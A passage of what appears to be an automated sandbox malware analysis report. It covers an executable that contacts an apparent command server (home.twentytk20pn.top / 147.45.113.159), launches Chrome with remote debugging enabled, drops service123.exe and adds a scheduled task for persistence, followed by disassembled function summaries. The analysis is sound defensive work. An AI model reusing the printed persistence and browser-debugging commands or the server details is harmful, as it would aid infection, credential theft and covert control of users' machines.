Dec 20, 2024 17:14:05.817470074 CET	75	OUT	Data Raw: 31 56 e1 08 ae a1 6c d2 6c 38 f8 39 6b 1a 73 b9 9f 2a 79 1d be 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 45 46 64 38 38 51 35 54 4d 55 47 79 58 51 32 49 42 44 54 36 6e 5a 2d 2d 0d 0a Data Ascii: 1Vll89ks*y--------------------------EFd88Q5TMUGyXQ2IBDT6nZ--
Dec 20, 2024 17:14:07.298280954 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 16:14:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 27 X-RateLimit-Reset: 1734713036 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49730	147.45.113.159	80	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:14:08.582699060 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 53 54 6c 70 35 4c 6a 38 4e 79 63 6f 55 44 64 50 31 37 33 34 37 31 31 32 30 37 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "STlp5Lj8NycoUDdP1734711207", "data": "Done2" }
Dec 20, 2024 17:14:10.312462091 CET	160	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 16:14:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4 Connection: close Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	34.226.108.155	443	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:13:16 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-20 16:13:16 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:13:16 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-20 16:13:16 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	11:13:10
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\kGxQbLOG7s.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kGxQbLOG7s.exe"
Imagebase:	0x210000
File size:	4'442'112 bytes
MD5 hash:	EBFE28CB77F3D1246693FA372420D022
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:13:59
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:14:00
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2332,i,5809787163742602357,12593231709092399536,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:15:14
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x480000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:15:14
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0xff0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:15:14
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:15:14
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 1772
Imagebase:	0xbe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:15:17
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x480000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:16:03
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x480000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:17:02
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x480000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.4%
Total number of Nodes:	125
Total number of Limit Nodes:	4

Executed Functions

Function 0048116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004811B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00481238
__p__acmdln.MSVCRT ref: 00481261
malloc.MSVCRT ref: 004812EB
strlen.MSVCRT ref: 00481323
malloc.MSVCRT ref: 0048132E
memcpy.MSVCRT ref: 00481344
GetStartupInfoA.KERNEL32 ref: 00481433

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: becba70198a3a65506008f75dbd2e9ed90759787de6f9d95ae1b9db40e574153
Instruction ID: 9962213762df9c96ac02f3fc2b0b727b5dac15ea1985d32203dba267fb673a26
Opcode Fuzzy Hash: becba70198a3a65506008f75dbd2e9ed90759787de6f9d95ae1b9db40e574153
Instruction Fuzzy Hash: 37817B719052008FDB10FF65D88476E77E4FB46308F204D2FD9859B361D779984ADB8A

Function 004815B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 004815CD
_exit.MSVCRT ref: 0048161A
_write.MSVCRT ref: 0048166A
_close.MSVCRT ref: 00481679

Strings

CONOUT$, xrefs: 004815C6
@, xrefs: 00488341
terminated, xrefs: 00481640

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 39b70daac8e6a981bc832ab8e4c75789b174d5a316833dc2554731314cbdd82b
Instruction ID: b985fe51b69a4ff62c3b529bdc8675a95d515e7663420683a90227b2b96f52b7
Opcode Fuzzy Hash: 39b70daac8e6a981bc832ab8e4c75789b174d5a316833dc2554731314cbdd82b
Instruction Fuzzy Hash: 51414EB09043019FD710EF79C44465FBBE4AB84318F408D2EE899D7351E779D845CB5A

Function 6C7A14B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6C7A14CD
_exit.MSVCRT ref: 6C7A151A
_write.MSVCRT ref: 6C7A156A
_close.MSVCRT ref: 6C7A1579

Strings

CONOUT$, xrefs: 6C7A14C6
terminated, xrefs: 6C7A1540
@, xrefs: 6C874AB1

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 7593ed3fbf73cee81161a09e806b32a90973a776eebfe72bbed5723cce4e6d0b
Instruction ID: 706af5a0367132f3324b653738d416c78040899657f1531987c9eff4822324ec
Opcode Fuzzy Hash: 7593ed3fbf73cee81161a09e806b32a90973a776eebfe72bbed5723cce4e6d0b
Instruction Fuzzy Hash: 994138B1908305DFDB10DFB9C64965EBBF4AB89318F008A2DE8A5E7680E334D545CF56

Function 6C7B9C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C7B9EB0: GetClipboardSequenceNumber.USER32 ref: 6C7B9EBE

Sleep.KERNELBASE ref: 6C7B9BFF
GetClipboardSequenceNumber.USER32 ref: 6C7B9C08

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ClipboardNumberSequence$Sleep
String ID:
API String ID: 2948009381-0
Opcode ID: 7f525bf77377b5ea2aa58513e64b6b4441af919a79aa13479eebe80de4ff8670
Instruction ID: cb0572e8252018762fec5cf443eab69b2c5b4397a48bf2e12f362fc262d09ee7
Opcode Fuzzy Hash: 7f525bf77377b5ea2aa58513e64b6b4441af919a79aa13479eebe80de4ff8670
Instruction Fuzzy Hash: 6941D7B15082058ECB10EF78D28859EBBF4AF65208F404D7DE8A697640EB34A90DCB92

Function 004881E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0048138E,?,?,00006EA2,0048138E), ref: 00488271
GetProcAddress.KERNEL32 ref: 0048828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0048138E,?,?,00006EA2,0048138E), ref: 0048829D

Strings

ehoYPkfWhVokJMBQVokJMBQaExv.dll, xrefs: 0048824A
Failed to get function address. Error code: %d, xrefs: 004882E0
NKUGaMdqDCBMAQCywoWm, xrefs: 0048827E

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Failed to get function address. Error code: %d$NKUGaMdqDCBMAQCywoWm$ehoYPkfWhVokJMBQVokJMBQaExv.dll
API String ID: 145871493-3680983564
Opcode ID: e95384f2de646e3a27d5a398b064c487ffb65e2f43ad9b4c6693773a1c20a9f9
Instruction ID: 411d302efd0e149869e1c65f24e0202295a8fb9ab03ac98d66341a6cf74a4828
Opcode Fuzzy Hash: e95384f2de646e3a27d5a398b064c487ffb65e2f43ad9b4c6693773a1c20a9f9
Instruction Fuzzy Hash: 5431CE72809600AFD700BF75DD4945EBBF0EB86304F008D2EE44583251EB79D845CB8A

Function 00488230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0048138E,?,?,00006EA2,0048138E), ref: 00488271
GetProcAddress.KERNEL32 ref: 0048828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0048138E,?,?,00006EA2,0048138E), ref: 0048829D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0048138E,?,?,00006EA2,0048138E), ref: 004882BD
GetLastError.KERNEL32 ref: 004882DA
FreeLibrary.KERNEL32 ref: 004882F3

Strings

Failed to load DLL. Error code: %d, xrefs: 004882C3
ehoYPkfWhVokJMBQVokJMBQaExv.dll, xrefs: 0048824A
NKUGaMdqDCBMAQCywoWm, xrefs: 0048827E

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: Library$ErrorFreeLast$AddressLoadProc
String ID: Failed to load DLL. Error code: %d$NKUGaMdqDCBMAQCywoWm$ehoYPkfWhVokJMBQVokJMBQaExv.dll
API String ID: 1397630947-2919006163
Opcode ID: b55250ef596a85749cdc7bbd043221a6e331af7a659eff0260848afc0be505e3
Instruction ID: 7b21f9efaedfce5a1a8ca623d8f0577402251b19626925ec5d6886c32ce14daf
Opcode Fuzzy Hash: b55250ef596a85749cdc7bbd043221a6e331af7a659eff0260848afc0be505e3
Instruction Fuzzy Hash: C311E1729056009FE700BFB8DE0959E7BA4EB46304F508E7ED81587255EF7AD5018B4A

Function 004813C9 Relevance: 12.1, APIs: 8, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00481238
__p__acmdln.MSVCRT ref: 00481261
malloc.MSVCRT ref: 004812EB
strlen.MSVCRT ref: 00481323
malloc.MSVCRT ref: 0048132E
memcpy.MSVCRT ref: 00481344
_amsg_exit.MSVCRT ref: 004813EA
_initterm.MSVCRT ref: 0048140C

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: da58b6438405c09f0c50fdf62026335cd9ce4dde8264cb12cf2e580a1a076551
Instruction ID: 05d610cce16af046c6698ba643b62104fc58d4e9cdacd1021433894843c798d4
Opcode Fuzzy Hash: da58b6438405c09f0c50fdf62026335cd9ce4dde8264cb12cf2e580a1a076551
Instruction Fuzzy Hash: AC4106B09053018FDB10FF65D88475EBBE4BB4A308F218D2FD98597361D7789846DB4A

Function 004811A3 Relevance: 10.6, APIs: 7, Instructions: 115
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004811B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00481238
__p__acmdln.MSVCRT ref: 00481261
malloc.MSVCRT ref: 004812EB
strlen.MSVCRT ref: 00481323
malloc.MSVCRT ref: 0048132E
memcpy.MSVCRT ref: 00481344
_amsg_exit.MSVCRT ref: 004813EA
_initterm.MSVCRT ref: 0048140C

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 0c005c21ca882c5f83df27e96650f5aa09bea032c63c6e6b97b8d56870c5ba77
Instruction ID: 0b3e903a51492f80298128612a596d9edb856b22cbf1fb526b5e54107681812b
Opcode Fuzzy Hash: 0c005c21ca882c5f83df27e96650f5aa09bea032c63c6e6b97b8d56870c5ba77
Instruction Fuzzy Hash: CB4108B0E053018BDB11FF65E88471EB7E4BB4A348F114D2FD9459B360D7789846CB9A

Function 00481160 Relevance: 9.1, APIs: 6, Instructions: 131
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004811B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00481238
__p__acmdln.MSVCRT ref: 00481261
malloc.MSVCRT ref: 004812EB
strlen.MSVCRT ref: 00481323
malloc.MSVCRT ref: 0048132E
memcpy.MSVCRT ref: 00481344
GetStartupInfoA.KERNEL32 ref: 00481433

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 89dd147d4781434dd70d60a20c95cfe5646f90aa77cbd1d89deca49ec3a1179a
Instruction ID: c0ad597bfbac34360c5d68e688d89bd2d67616169fb3a3242eab9da44ab76f32
Opcode Fuzzy Hash: 89dd147d4781434dd70d60a20c95cfe5646f90aa77cbd1d89deca49ec3a1179a
Instruction Fuzzy Hash: 77514971D052008FDB11FF69E88475EBBF4BB4A308F244D2ED9449B361D779A846CB8A

Function 6C7B9B70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 6C7B9B99
CreateMutexA.KERNELBASE ref: 6C7B9BE3
Sleep.KERNELBASE ref: 6C7B9BFF
GetClipboardSequenceNumber.USER32 ref: 6C7B9C08

Strings

uwwcACVDotPKkwKQKpzK, xrefs: 6C7B9B82, 6C7B9BCC

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Mutex$ClipboardCreateNumberOpenSequenceSleep
String ID: uwwcACVDotPKkwKQKpzK
API String ID: 3689039344-827300870
Opcode ID: b5e91102cc3f5ce4bef72760bade7f1129fc66141aa2cc53ec14195e98268e62
Instruction ID: 1fdbe644adf8c93a3a756515dfd0809a11dde6ff744ac673d7f52c3c80b755e0
Opcode Fuzzy Hash: b5e91102cc3f5ce4bef72760bade7f1129fc66141aa2cc53ec14195e98268e62
Instruction Fuzzy Hash: 9701D2715083068FCB20EF69C64975BBFF4AB51348F01882CE8A893640E774A149CBE2

Function 00481296 Relevance: 5.1, APIs: 4, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004812EB
strlen.MSVCRT ref: 00481323
malloc.MSVCRT ref: 0048132E
memcpy.MSVCRT ref: 00481344

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: c5c137a054322a82072e2345e872b07d593bad3bc1cf62369ea8cf0d7da55952
Instruction ID: 96b7e304c6027f77b64ac60b387ebaa4c9e99525a2caab250b5e6be743cb64aa
Opcode Fuzzy Hash: c5c137a054322a82072e2345e872b07d593bad3bc1cf62369ea8cf0d7da55952
Instruction Fuzzy Hash: 25313371D013058FCB20EF64D88075EBBE1BB4A308F158D2ED948AB361D739A806CF89

Function 004813BB Relevance: 5.1, APIs: 4, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004812EB
strlen.MSVCRT ref: 00481323
malloc.MSVCRT ref: 0048132E
memcpy.MSVCRT ref: 00481344

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: cc120d2887a8ed045b84fdcc1a3b2866d3d8ef5ec6555c4fdbb216f689ef88f4
Instruction ID: d07572e162ff83f9d572d3f1879751ba9e2f082893ff130dd0a55f3338620833
Opcode Fuzzy Hash: cc120d2887a8ed045b84fdcc1a3b2866d3d8ef5ec6555c4fdbb216f689ef88f4
Instruction Fuzzy Hash: 3B2123B5D063018FCB11EF65D88066EB7F0FB89304F21892ED948A7360D734A906DF89

Function 6C7BB3F0 Relevance: 1.4, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

